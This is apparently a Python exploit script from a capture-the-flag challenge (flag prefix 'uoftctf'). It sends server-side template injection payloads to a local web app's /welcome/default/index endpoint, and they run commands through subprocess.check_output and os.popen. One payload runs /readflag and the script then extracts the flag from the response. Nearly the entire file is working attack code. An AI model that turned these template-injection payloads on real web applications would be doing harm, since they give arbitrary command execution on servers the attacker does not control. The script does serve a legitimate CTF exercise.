#!/usr/bin/env python3
"""
Test /readflag on local instance
"""

import requests
import urllib3
urllib3.disable_warnings()

BASE_URL = "https://localhost:5000"

print("[*] Testing /readflag execution via SSTI...")

# Test with readflag payload
payload = "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"

response = requests.get(
    BASE_URL + "/welcome/default/index",
    params={"test": payload},
    verify=False
)

print(f"Status: {response.status_code}")
print(f"Length: {len(response.text)}")

# Search for flag
if "uoftctf" in response.text.lower():
    print("\n" + "="*70)
    print("[!!!] FLAG FOUND!")
    print("="*70)
    
    idx = response.text.lower().find("uoftctf")
    flag_end = response.text.find("}", idx) + 1
    flag = response.text[idx:flag_end]
    
    print(f"\nFLAG: {flag}\n")
    print("\nContext:")
    print(response.text[max(0,idx-200):min(len(response.text),idx+300)])
else:
    print("\n[-] Flag not found in response")
    
    # Save for inspection
    with open("local_readflag.html", "w", encoding="utf-8") as f:
        f.write(response.text)
    print("[*] Response saved to local_readflag.html")
    
    # Try to find where the output might be
    if "{{=" in response.text:
        print("[!] Template syntax still in response - might not have executed")
    
    # Check for any subprocess output indicators
    for keyword in ["fake_flag", "error", "exception", "traceback"]:
        if keyword in response.text.lower():
            print(f"[+] Found keyword: {keyword}")

# Also test simple command to verify execution
print("\n[*] Testing simple command execution...")
test_response = requests.get(
    BASE_URL + "/welcome/default/index",
    params={"test": "{{=__import__('os').popen('echo COMMAND_EXECUTED').read()}}"},
    verify=False
)

if "COMMAND_EXECUTED" in test_response.text:
    print("[+] Command execution confirmed!")
    idx = test_response.text.find("COMMAND_EXECUTED")
    print(f"    Context: {test_response.text[max(0,idx-100):idx+150]}")
else:
    print("[-] Command output not visible")
